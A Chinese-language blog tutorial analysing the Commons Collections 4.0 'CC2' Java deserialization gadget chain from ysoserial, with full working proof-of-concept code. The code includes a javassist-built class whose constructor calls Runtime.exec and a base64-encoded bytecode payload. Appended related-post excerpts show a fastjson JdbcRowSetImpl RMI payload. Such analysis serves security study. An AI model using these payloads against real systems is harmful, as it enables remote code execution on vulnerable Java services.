代码编织梦想

漏洞分析环境:

jdk8u71

apache commons collections-4.0

在maven项目中的pom文件中添加4.0版本的依赖

        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>

在CC2链中构造利用链用到了动态字节码编程来构造poc,需要引入javassist的依赖:

        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.22.0-GA</version>
        </dependency>

关于javassist动态字节码编程的资料,可参考:10-java安全基础——javassist字节码编程

上一篇分析了CC1链,本篇继续分析ysoserial工具的 apache commons collections 2利用链。

CC1链在实际利用过程存在一些限制,例如jdk8u71版本已经无法利用反序列化漏洞了,通过分析发现jdk8u71版本中改写了sun.reflect.annotation.AnnotationInvocationHandler类的readObject方法,CC1链在jdk8u71版本以上已经被修复了,因此jdk8u71版本重新构造了一条新的利用链(CC2链)。

不过CC2链使用了apache commons collections组件4.0版本来进行构造,并没有使用3.1版本,至于原因后面会说明为什么3.1版本无法构造CC2利用链。

先来看CC2链的payload代码:

package com.cc;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC2Test {
    public static void main(String[] args) throws Exception {
        //构造恶意类TestTemplatesImpl并转换为字节码
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.getCtClass("com.cc.TestTemplatesImpl");
        byte[] bytes = ctClass.toBytecode();

        //反射创建TemplatesImpl
        Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
        Object TemplatesImpl_instance = constructor.newInstance();
        //将恶意类的字节码设置给_bytecodes属性
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
        //设置属性_name为恶意类名
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(TemplatesImpl_instance , "TestTemplatesImpl");

        //构造利用链
        InvokerTransformer transformer=new InvokerTransformer("newTransformer",null,null);
        TransformingComparator transformer_comparator =new TransformingComparator(transformer);
        //触发漏洞
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);

        //设置comparator属性
        Field field=queue.getClass().getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue,transformer_comparator);

        //设置queue属性
        field=queue.getClass().getDeclaredField("queue");
        field.setAccessible(true);
        //队列至少需要2个元素
        Object[] objects = new Object[]{TemplatesImpl_instance , TemplatesImpl_instance};
        field.set(queue,objects);
        
        //序列化 ---> 反序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object object = ois.readObject();
    }

构造的恶意类TestTemplatesImpl

package com.cc;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class TestTemplatesImpl extends AbstractTranslet {

    public TestTemplatesImpl() {
        super();
        try {
            Runtime.getRuntime().exec("calc");
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

CC2链利用流程:

  1. 构造一个TestTemplatesImpl恶意类转成字节码,然后通过反射将恶意类的字节码注入到TemplatesImpl对象的_bytecodes属性(构造利用核心代码)

  2. 创建一个InvokerTransformer并传递一个newTransformer方法,然后将InvokerTransformer方法名传递给TransformingComparator(这一步和CC1链非常相似)

  3. 通过反射构造PriorityQueue队列的comparator和queue两个字段,将PriorityQueue队列的comparator字段设置为TransformingComparator,然后将queue字段设置为TemplatesImpl对象,触发利用链

了解CC2链的利用流程后,来分析CC2链是如何构造出来的,为什么要这样构造利用链,先来看核心利用代码:

        //构造恶意类TestTemplatesImpl并转换为字节码
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.getCtClass("com.cc.TestTemplatesImpl");
        byte[] bytes = ctClass.toBytecode();

在构造核心利用代码的时候,是通过javassist动态构造了一个恶意类并将该类转换为二进制字节码,为什么要这么做?因为在构造核心利用代码的时候需要用到TemplatesImpl类。

TemplatesImpl类有一个_bytecodes属性和一个defineTransletClasses方法,_bytecodes属性会接收一个byte数组,并且defineTransletClasses方法内部调用了defineClass 方法将_bytecodes属性的字节码还原成class对象,然后将class对象赋给_class属性。

如果将一个恶意类传给TemplatesImpl类_bytecodes属性,那么defineTransletClasses方法根据_bytecodes属性的字节码数据加载成class对象时,_bytecodes属性可控,再调用newInstance方法实例化对象就会触发class对象的构造方法了。

思考一下:如何构造一个恶意类传递给TemplatesImpl类_bytecodes属性?

可以通过javassist字节码编程动态构造一个恶意类并转换为字节码,然后暴力反射获取TemplatesImpl类的_bytecodes属性并将恶意类的字节码设置给_bytecodes属性。接着还需要找到一个既调用了defineTransletClasses方法,又调用了newInstance方法的地方。

按Alt + F7快捷键查找,看到TemplatesImpl类中有以下几个方法中调用了defineTransletClasses方法。

getTransletClasses是一个重载的方法,该方法内部调用了defineTransletClasses和newInstance方法

    private Translet getTransletInstance() throws TransformerConfigurationException {
        try {
            //_name是否为空
            if (_name == null) return null;
            //class对象是否为空
            if (_class == null) defineTransletClasses();

            // The translet needs to keep a reference to all its auxiliary
            // class to prevent the GC from collecting them
            //根据class对象实例化
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
            translet.postInitialization();
            translet.setTemplates(this);
            translet.setOverrideDefaultParser(_overrideDefaultParser);
            translet.setAllowedProtocols(_accessExternalStylesheet);
            if (_auxClasses != null) {
                translet.setAuxiliaryClasses(_auxClasses);
            }

            return translet;
        }
        catch (InstantiationException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (IllegalAccessException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

getTransletInstance方法内部判断了_name属性是否为空,如果没有设置直接返回null,不再往下执行,这里我们要想办法绕过_name属性,也就是在构造核心利用代码时通过反射将_name属性设置为恶意类TestTemplatesImpl的类名。接着判断class对象为空就调用defineTransletClasses方法创建class对象。当defineTransletClasses方法创建恶意类的class对象后,_class属性会调用newInstance方法实例化TestTemplatesImpl

具体参考defineTransletClasses方法实现:

    private void defineTransletClasses() throws TransformerConfigurationException {
        //_bytecodes属性是否为空
        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }
        //获取类加载器
        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });

        try {
            //统计_bytecodes属性数组
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];

            if (classCount > 1) {
                _auxClasses = new HashMap<>();
            }
            //根据_bytecodes数组换成class对象
            for (int i = 0; i < classCount; i++) {
                 //还原成class对象
                _class[i] = loader.defineClass(_bytecodes[i]);
                //是否继承了AbstractTranslet类
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class
                //如果继承了,设置当前class对象的索引下标
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }
            //如果class对象个数为零,抛出异常
            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
        catch (ClassFormatError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (LinkageError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

 _class属性是一个接收class对象的数组,_transletIndex索引控制了_class数组中具体的哪一个class对象,defineTransletClasses方法在还原class对象的时候,会判断当前class对象是否继承了AbstractTranslet类并设置_transletIndex索引。

如果在构造TestTemplatesImpl类的时候没有继承AbstractTranslet类的话,_transletIndex索引的值默认为-1,那么getTransletInstance方法中_class属性调用newInstance方法实例化TestTemplatesImpl类的时候就会失败,因此构造TestTemplatesImpl类必须要继承AbstractTranslet类。到这一步核心利用代码算是构造完毕,下一步就需要构造利用链来调用核心利用代码。

因此构造利用链的思路就是继续寻找哪个地方调用了getTransletInstance方法,按Alt + F7寻找getTransletInstance方法的调用位置,最终我们找到TemplatesImpl类中有一个newTransformer方法内部调用了getTransletInstance方法。

我们来分析一下newTransformer方法是干嘛用的,看能不能在这个方法找到构造利用链的思路:

	    public synchronized Transformer newTransformer() throws TransformerConfigurationException {
			TransformerImpl transformer;

			transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
				_indentNumber, _tfactory);

			if (_uriResolver != null) {
				transformer.setURIResolver(_uriResolver);
			}

			if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
				transformer.setSecureProcessing(true);
			}
			return transformer;
		}

newTransformer方法的作用是返回一个Transformer,是不是很眼熟,这跟CC1链中构造transformer数组的思路有些类似,那么我们可以从之前的CC1链中寻找思路。InvokerTransformer类中有一个transform方法会根据传入的iMethodName,iParamTypes,iArgs这三个成员属性来执行class对象的某个方法,并且这三个属性是根据InvokerTransformer类的构造传入的,然后通过InvokerTransformer类的transform方法来调用newTransformer方法。

接下来我们要做的就是想方设法如何去调用newTransformer方法,因此构造利用链的思路就是:分析哪些类中的transform方法调用了newTransformer方法?

通过进一步分析发现InvokerTransformer类中的transform方法是通过实现Transformer接口来的,因此下一步的思路就是查找哪些类调用了Transformer接口的transform方法并且还实现了Serializable接口,最终我们找到以下这几个类:

左侧找到了很多类中都调用了transform方法,不过这里我们用到的是TransformingComparator类(大家可以自己去分析一下其他类是否可以构造利用链),TransformingComparator类是一个Comparable 对象的comparator比较器,实现了Serializable接口。

TransformingComparator类的compare方法中通过transformer属性来调用transform方法的,如果想要调用InvokerTransformer类的transform方法,可以把InvokerTransformer传给TransformingComparator类的构造来设置transformer属性(当然也可以使用反射),因为transformer属性可控

    public int compare(final I obj1, final I obj2) {
        final O value1 = this.transformer.transform(obj1);
        final O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

构造方法内部又调用了一次构造将ComparatorUtils.NATURAL_COMPARATOR传给了decorated属性(ComparatorUtils.NATURAL_COMPARATOR是一个Comparator类型)

public TransformingComparator(final Transformer<? super I, ? extends O> transformer) {
//又调用了一次构造,多传入了一个参数
    this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}

/**
 * Constructs an instance with the given Transformer and Comparator.
 *
 * @param transformer  what will transform the arguments to <code>compare</code>
 * @param decorated  the decorated Comparator
 */
public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
                              final Comparator<O> decorated) {
//Comparator比较器
    this.decorated = decorated;
    this.transformer = transformer;
}

然后可以得到这样一条利用链:

InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
//将InvokerTransformer传递给TransformingComparator
TransformingComparator comparator =new TransformingComparator(transformer);

继续思考一下:如何去触发这个利用链(如何调用TransformingComparator的compare方法?),我们知道comparator比较器在集合中使用的比较多,并且还可以通过实现Comparator接口自定义比较器,而TransformingComparator类本身就是一个自定义比较器,因为它实现了Comparator接口,那么我们可以通过集合来调用TransformingComparator比较器,这个集合必须实现Serializable接口,重写了readObject方法,并且还使用了Comparator比较器。

这里就要借助jdk中的PriorityQueue集合了,PriorityQueue是一个优先队列,每次排序都会触发comparator比较器的compare方法,并且PriorityQueue还重写了readObject方法(反序列化漏洞必要的利用条件)。

分析PriorityQueue的readObject方法

    private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
        //接收PriorityQueue队列的元素
        queue = new Object[size];

        // Read in all elements.
        //读取元素还原成java对象
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }

readObject方法会把序列化后的数据还原成java对象,然后通过queue属性用于接收元素 ,queue是一个数组,size属性记录元素的个数,接着调用heapify()方法。

heapify()方法内部将queue队列作为参数传给了siftDown方法

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

siftDown方法内部判断了PriorityQueue队列的comparator属性是否为空,如果不为空则调用siftDownUsingComparator方法,否则调用siftDownComparable方法,我们来分下一下这两个方法:

	private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

siftDownComparable方法内部会生成一个Comparable比较器并调用compareTo方法

    private void siftDownComparable(int k, E x) {
		//生成Comparable比较器
        Comparable<? super E> key = (Comparable<? super E>)x;
        int half = size >>> 1;        // loop while a non-leaf
        while (k < half) {
            int child = (k << 1) + 1; // assume left child is least
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                ((Comparable<? super E>) c).compareTo((E) queue[right]) > 0)
                c = queue[child = right];
			//调用compareTo方法
            if (key.compareTo((E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = key;
    }

siftDownUsingComparator方法内部调用了comparator属性的Comparator比较器的compare方法

	private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
			//调用comparator属性的compare方法
            if (right < size && comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

从siftDown方法中可以看出PriorityQueue队列中的comparator属性是一个比较器并且还是可控的,如果comparator属性指定为TransformingComparator比较器的话,不就可以调用TransformingComparator的compare方法了吗,于是万能的反射再次登场了,通过反射将PriorityQueue队列中的comparator属性设置为TransformingComparator比较器,这样PriorityQueue集合在反序列化过程中就会调用comparator比较器了,不得不说PriorityQueue集合完美的符合我们需要构造的利用链。

并且将compare方法的参数设置为TemplatesImpl对象,然后transform方法就会调用TemplatesImpl对象的newTransformer方法,这一步会衔接之前构造的利用链,最终形成完整的CC2链。

    public int compare(final I obj1, final I obj2) {
        final O value1 = this.transformer.transform(obj1);
        final O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

因此我们只需要在PriorityQueue集合中添加两个TemplatesImpl对象作为集合元素就可以触发之前构造的利用链。

现在我们逆推一下CC2链的利用流程:

梳理一下利用链流程,PriorityQueue队列调用readObject方法在反序列化过程中调用了compare方法触发TransformingComparator比较器的compare方法,在compare方法内部通过transformer属性调用了transform方法,该方法会触发之前我们构造的利用链通过反射调用newTransformer方法,接触就会调用核心利用代码,加载恶意类TemplatesImpl,newInstance方法实例化TestTemplatesImpl对象时就会调用构造方法,最终调用恶意代码调出计算器。

CC2链最终payload:

package com.cc;

import com.sun.org.apache.xml.internal.security.utils.Base64;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


public class CC2Test {
    
    public static void main(String[] args) throws Exception {
        //构造恶意类TestTemplatesImpl转换为字节码并进行base64编码
        byte[] bytes = Base64.decode("yv66vgAAADEAMQoACAAhCgAiACMIACQKACIAJQcAJgoABQAnBwAoBwApAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAaTGNvbS9jYy9UZXN0VGVtcGxhdGVzSW1wbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEMAAkACgcAKwwALAAtAQAEY2FsYwwALgAvAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAMAAKAQAYY29tL2NjL1Rlc3RUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAMAAQAJAAoAAQALAAAAZgACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAgAMAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASAA0AAAAWAAIAEQAEAA4ADwABAAAAFgAQABEAAAABABIAEwACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFgANAAAAIAADAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABYAFwACABgAAAAEAAEAGQABABIAGgACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGgANAAAAKgAEAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABsAHAACAAAAAQAdAB4AAwAYAAAABAABABkAAQAfAAAAAgAg");
        //反射创建TemplatesImpl
        Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
        Object TemplatesImpl_instance = constructor.newInstance();
        //将恶意类的字节码设置给_bytecodes属性
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
        //设置属性_name为恶意类名
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(TemplatesImpl_instance , "TestTemplatesImpl");

        //传递给TransformingComparator
        InvokerTransformer transformer=new InvokerTransformer("newTransformer",null,null);
        TransformingComparator transformer_comparator =new TransformingComparator(transformer);

        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);

        //设置comparator属性
        Field field=queue.getClass().getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue,transformer_comparator);

        //设置queue属性
        field=queue.getClass().getDeclaredField("queue");
        field.setAccessible(true);
        //数组中必须添加2个元素
        Object[] objects = new Object[]{TemplatesImpl_instance , TemplatesImpl_instance};
        field.set(queue,objects);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object object = ois.readObject();
    }
}

最后在文章开头遗留了一个问题:为什么3.1版本无法构造CC2利用链,原因是3.1版本中的TransformingComparator类没有实现Serializable接口,无法构造利用链。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_35733751/article/details/118890261

javacc 的安装-爱代码爱编程

1.在JavaCC首页http://javacc.java.net/上下载最新版的JavaCC。配置环境变量,在dos命令行里就可以使用了 2.这里我们使用第二种,安装eclipse插件的方法 JavaCC eclips

使用tim2的cc2来触发adc-爱代码爱编程

    TIM_OCMode_PWM1                          向上计数时,当TIMx_CNT < TIMx_CCR*时,输出电平有效,否则为无效      向下计数时,当TIMx_CNT > TIMx_CCR*时,输出电平无效,否则为有效 引用参考手册的原图:(截图引自通用定时器一章) 上图中红蓝两个框的中间部

java序列化json原理_fastjson反序列化的两种利用方法的原理剖析-爱代码爱编程

利用JdbcRowSetImpl的payload如下: { "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://127.0.0.1:3456/Object", "autoCommit":true } 在触发反序列化时会调用 JdbcRowSetImpl 类的 se

从TemplatesImpl类Gadget中提取bytecode-爱代码爱编程

首发安全客:https://www.anquanke.com/post/id/235227 大半年前开的头,扔那就给忘了,终于想起来给写完了(*/ω\*) 前言 在Java反序列化的gadget中,有很多使用可反序列化TemplatesImpl类进行命令执行(比如CommonsCollections2-4、CommonsBeanutils1、Jdk7

CommonsCollections 2分析-爱代码爱编程

CommonsCollections 2分析 Javassist cc2的利用和cc1不同,这里用到了一个新的类库,可以允许开发者添加新的类和方法。下面来看看javassist的API文档的描述。 The Javassist Core API. Javassist (Java programming assistant) makes bytecode

java反序列化和静态代码块,Java反序列化:基于CommonsCollections4的Gadget分析-爱代码爱编程

一、背景及概要 随着Java应用的推广和普及,Java安全问题越来越被人们重视,纵观近些年来的Java安全漏洞,反序列化漏洞占了很大的比例。就影响程度来说,反序列化漏洞的总体影响也明显高于其他类别的漏洞。 在反序列化漏洞的利用过程中,攻击者会构造一系列的调用链以完成其攻击行为。如何高效的生成符合条件且可以稳定利用的攻击Payload成为了攻击链条中

『Java安全』反序列化-URLDNS POP链分析_ysoserial URLDNS payload分析-爱代码爱编程

文章目录 前言代码POP链总览payload分析反序列化操作反序列化条件总结序列化操作序列化条件总结测试先将hashCode置为非-1的原因:ysoserial URLDNS payload分析分析测试生成payload完 前言 通过HashMap类的反序列化可以触发DNS查询 这是一个内置类无需第三方库即可验证,同时也可以验证无回显时反序

ysoserial-爱代码爱编程

yso-cc2 1从入口看 1) 2) 3)createTemplatesImpl方法,与jdk7u21的利用类相同 public static <T> T createTemplatesImpl